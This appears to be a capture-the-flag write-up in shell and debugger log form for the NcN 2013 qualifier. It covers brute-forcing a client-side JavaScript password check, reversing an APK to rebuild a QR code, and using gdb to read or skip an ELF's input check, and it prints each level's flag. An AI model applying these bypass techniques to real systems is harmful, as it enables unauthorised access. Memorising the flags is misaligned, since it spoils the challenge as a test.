function simpleHash(str){var i,hash=0;for(i=0;i<str.length;i++){hash+=(str[i].charCodeAt()*(i+1))}return Math.abs(hash)%31337}function ascii_one(foo){foo=foo.charAt(0);var i;for(i=0;i<256;++i){var hex_i=i.toString(16);if(hex_i.length==1)hex_i="0"+hex_i;hex_i="%"+hex_i;hex_i=unescape(hex_i);if(hex_i==foo)break}return i}function numerical_value(str){var i,a=0,b;for(i=0;i<str.length;++i){b=ascii_one(str.charAt(i));a+=b*(i+1)}return a}function encrypt(form){var res;res=numerical_value(form.password.value);res=res*(3+1+3+3+7);res=res>>>6;res=res/4;res=res^4153;if(res!=0){alert('Invalid password!')}else{alert('Correct password :)')}form.key.value=numerical_value(form.password.value);form.verification.value="yes"+simpleHash(form.password.value);return true}
> function simpleHash(str){
...      var i,hash=0;
...      for(i=0;i<str.length;i++){
.....           hash+=(str[i].charCodeAt()*(i+1))
.....      }
...      return Math.abs(hash)%31337
... }
> function ascii_one(foo) {
...     foo = foo.charAt(0);
...     var i;
...     for (i = 0; i < 256; ++i) {
.....         var hex_i = i.toString(16);
.....         if (hex_i.length == 1) hex_i = "0" + hex_i;
.....         hex_i = "%" + hex_i;
.....         hex_i = unescape(hex_i);
.....         if (hex_i == foo) break
.....     }
...     return i
... }
> function numerical_value(str) {
...     var i, a = 0, b;
...     for (i = 0; i < str.length; ++i) {
.....         b = ascii_one(str.charAt(i));
.....         a += b * (i + 1)
.....     }
...     return a
... }
> function encrypt(form) {
...     var res;
...     res = numerical_value(form.password.value);
...     res = res * (3 + 1 + 3 + 3 + 7);
...     res = res >>> 6;
...     res = res / 4;
...     res = res ^ 4153;
...     if (res != 0) {
.....         alert('Invalid password!')
.....     } else {
.....         alert('Correct password :)')
...     }
...     form.key.value = numerical_value(form.password.value);
...     form.verification.value = "yes" + simpleHash(form.password.value);
...     return true
... }
> var max=700000; var total=0; for (var i = 0; i < max; ++i) { total=(((i*17)>>>6)/4)^4153; if(total==0){console.log(i);}; };
62540
62541
62542
62543
62544
62545
62546
62547
62548
62549
62550
62551
62552
62553
62554
> function init(dec,len){
...  var deckey=new Array();
...  for(var i=1; i<=len; i++){ deckey[i]=dec; }
...  return deckey;
... }
> function add(deckey,len){
...  var counter=0;
...  for(var i=1; i<=len; i++){ counter+=deckey[i]*i; }
...  return counter;
... }
> var len, dist, deckey, count, key;
> len=100;
> for(var dec=32; dec<=126; dec++){
...  dist=126-dec;
...  for(var i=1; i<=len; i++){
.....   deckey=init(dec,i);
.....   count=add(deckey,i);
.....   diff=62540-count;
.....   if((0<=diff)&&(diff<=dist)){
.......    key=String.fromCharCode(dec+diff);
.......    char=String.fromCharCode(dec);
.......    for(var j=1; j<=i-1; j++){
.........     key+=char;
.........    }
.......    console.log("key = '"+key+"'");
.......   }
.....  }
... }
key = 'L                                                             '
key = 'r1111111111111111111111111111111111111111111111111'
key = 't333333333333333333333333333333333333333333333333'
> simpleHash('r1111111111111111111111111111111111111111111111111');
31203
# curl --silent --request POST --data 'password=r1111111111111111111111111111111111111111111111111&key=62540&verification=yes31203' http://ctf.noconname.org/4cbe48a830c4cd2d4ac9e6e9373e3055/login.php
<!DOCTYPE html>
<html>
  <head>
    <title>NcN 2013 Registration Quals</title>
 </head>
<body>
<b>Congrats! you passed the level! Here is the key: 23f8d1cea8d60c5816700892284809a94bd00fe7347645b96a99559749c7b7b8</b></body>
</html>

# cat level_1.c
#include <stdio.h>
#include <stdlib.h>

int level1(int *key,int partial,int pos,int max,int len){
        int i,j,total;
        if(pos==1){
                for(i=126;i>=32;i--){
                        total=partial+i;
                        if((max<=total)&&(total<=max+14)){
                                key[pos-1]=i;
                                printf("key '\t");
                                for(j=0;j<len;j++){ printf("%c",key[j]); }
                                printf("'\t%d <= (%d) <= %d\n",max,total,max+14);

                        }
                }
        }else{
                for(i=126;i>=32;i--){
                        total=partial+pos*i;
                        if(total<=max){
                                key[pos-1]=i;
                                level1(key,total,pos-1,max,len);
                        }
                }
        }
}
int main(int argc, char *argv[]){
        int *key,len,i,j,total,max;
        max=atoi(argv[1]);
        len=atoi(argv[2]);
        for(i=0;i<len;i++){
                total=0;
                for(j=0;j<=i;j++){ total+=126*(j+1); }
                if(max<=total){
                        key=malloc(sizeof(int)*i+1);
                        printf("Trying key length = %d, total = %d and >= %d\n",i+1,total,max);
                        level1(key,0,i+1,max,i+1);
                        free(key);
                }
        }
}
# gcc -o level_1 level_1.c
# ./level_1 62540 50
Trying key length = 32, total = 66528 and >= 62540
key     '   !    <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '! !     <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '  !     <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62553) <= 62554
key     ' "      <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '"!      <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '!!      <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62553) <= 62554
key     ' !      <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62552) <= 62554
key     '$       <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '#       <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62553) <= 62554
key     '"       <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62552) <= 62554
key     '!       <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62551) <= 62554
key     '        <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62550) <= 62554
...
> simpleHash('   !    <~~~~~~~~~~~~~~~~~~~~~~~');
31217
# curl --silent --request POST --data 'password=   !    <~~~~~~~~~~~~~~~~~~~~~~~&key=62554&verification=yes31217' http://ctf.noconname.org/4cbe48a830c4cd2d4ac9e6e9373e3055/login.php
<!DOCTYPE html>
<html>
  <head>
    <title>NcN 2013 Registration Quals</title>
 </head>
<body>
<b>Congrats! you passed the level! Here is the key: 23f8d1cea8d60c5816700892284809a94bd00fe7347645b96a99559749c7b7b8</b></body>
</html>

Access Level 2

# curl --silent --output level.apk http://ctf.noconname.org/ad4d4084729af5c8faef2df8636c450e/level.apk
# unzip level.apk
# dex2jar classes.dex
# jd-gui classes_dex2jar.jar # and code review
# cd res/raw
# mv i.png qr-f.png
# mv j.png qr-e.png
# mv d.png qr-d.png
# mv h.png qr-c.png
# mv e.png qr-3.png
# mv l.png qr-2.png
# mv o.png qr-7.png
# mv n.png qr-b.png
# mv p.png qr-8.png
# mv m.png qr-1.png
# mv f.png qr-0.png
# mv c.png qr-4.png
# mv k.png qr-5.png
# mv g.png qr-6.png
# mv a.png qr-9.png
# mv b.png qr-a.png
# montage *.png -tile 4x4 -geometry +0+0 qr.png
# zbarimg --raw --quiet qr.png
788f5ff85d370646d4caa9af0a103b338dbe4c4bb9ccbd816b585c69de96d9da

Access Level 3

# curl --silent --output level.elf http://ctf.noconname.org/94999ecd63b3764ac334bcab4c4960d5/level.elf
# file level.elf
level.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xb589d432799bf15343387fea63d4bdc00faa177c, not stripped
# chmod +x level.elf
# gdb -q level.elf
(gdb) set disassembly-flavor intel
(gdb) x/s 0x4024a8
0x4024a8:        "Type to win, only what I want to read... "
(gdb) x/25i 0x00000000004010f3
   0x4010f3 <main+212>: call   0x400fef <getch>
   0x4010f8 <main+217>: movsx  eax,al
   0x4010fb <main+220>: mov    DWORD PTR [rbp-0x4],eax
   0x4010fe <main+223>: mov    eax,DWORD PTR [rbp-0x8]
   0x401101 <main+226>: cdqe
   0x401103 <main+228>: mov    eax,DWORD PTR [rax*4+0x6033a0]
   0x40110a <main+235>: cmp    eax,DWORD PTR [rbp-0x4]
   0x40110d <main+238>: jne    0x40111e <main+255>
   0x40110f <main+240>: mov    DWORD PTR [rbp-0xc],0x1
   0x401116 <main+247>: cmp    DWORD PTR [rbp-0x4],0x51
   0x40111a <main+251>: je     0x40112d <main+270>
   0x40111c <main+253>: jmp    0x401127 <main+264>
   0x40111e <main+255>: mov    DWORD PTR [rbp-0xc],0x0
   0x401125 <main+262>: jmp    0x401154 <main+309>
   0x401127 <main+264>: cmp    DWORD PTR [rbp-0x4],0x71
   0x40112b <main+268>: jne    0x401136 <main+279>
   0x40112d <main+270>: mov    DWORD PTR [rbp-0x10],0x1
   0x401134 <main+277>: jmp    0x401154 <main+309>
   0x401136 <main+279>: mov    rax,QWORD PTR [rip+0x2022a3]        # 0x6033e0 <stdout@@GLIBC_2.2.5>
   0x40113d <main+286>: mov    rsi,rax
   0x401140 <main+289>: mov    edi,0x2a
   0x401145 <main+294>: call   0x400610 <fputc@plt>
   0x40114a <main+299>: add    DWORD PTR [rbp-0x8],0x1
   0x40114e <main+303>: cmp    DWORD PTR [rbp-0x8],0x9
   0x401152 <main+307>: jle    0x4010f3 <main+212>
(gdb) x/30s 0x6033a0
0x6033a0 <facebookctf_rocks>:    " "
0x6033a2 <facebookctf_rocks+2>:  ""
0x6033a3 <facebookctf_rocks+3>:  ""
0x6033a4 <facebookctf_rocks+4>:  "S"
0x6033a6 <facebookctf_rocks+6>:  ""
0x6033a7 <facebookctf_rocks+7>:  ""
0x6033a8 <facebookctf_rocks+8>:  "U"
0x6033aa <facebookctf_rocks+10>:         ""
0x6033ab <facebookctf_rocks+11>:         ""
0x6033ac <facebookctf_rocks+12>:         "R"
0x6033ae <facebookctf_rocks+14>:         ""
0x6033af <facebookctf_rocks+15>:         ""
0x6033b0 <facebookctf_rocks+16>:         "P"
0x6033b2 <facebookctf_rocks+18>:         ""
0x6033b3 <facebookctf_rocks+19>:         ""
0x6033b4 <facebookctf_rocks+20>:         "R"
0x6033b6 <facebookctf_rocks+22>:         ""
0x6033b7 <facebookctf_rocks+23>:         ""
0x6033b8 <facebookctf_rocks+24>:         "I"
0x6033ba <facebookctf_rocks+26>:         ""
0x6033bb <facebookctf_rocks+27>:         ""
0x6033bc <facebookctf_rocks+28>:         "S"
0x6033be <facebookctf_rocks+30>:         ""
0x6033bf <facebookctf_rocks+31>:         ""
0x6033c0 <facebookctf_rocks+32>:         "E"
0x6033c2 <facebookctf_rocks+34>:         ""
0x6033c3 <facebookctf_rocks+35>:         ""
0x6033c4 <facebookctf_rocks+36>:         "!"
0x6033c6 <facebookctf_rocks+38>:         ""
0x6033c7 <facebookctf_rocks+39>:         ""
# echo ' SURPRISE!' | ./level.elf
|  >  Type to win, only what I want to read...
|  >  **********
|
|  -> Congratulations! The key is:
|  9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb
# gdb -q level.elf
(gdb) set disassembly-flavor intel
(gdb) break main
(gdb) run
(gdb) x/2i 0x40117b
   0x40117b <main+348>: call   0x400b38 <success>
   0x401180 <main+353>: call   0x40077c <no_me_jodas_manolo>
(gdb) set $rip = 0x40117b
(gdb) continue 
Continuing.
|
|  -> Congratulations! The key is:
|  9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb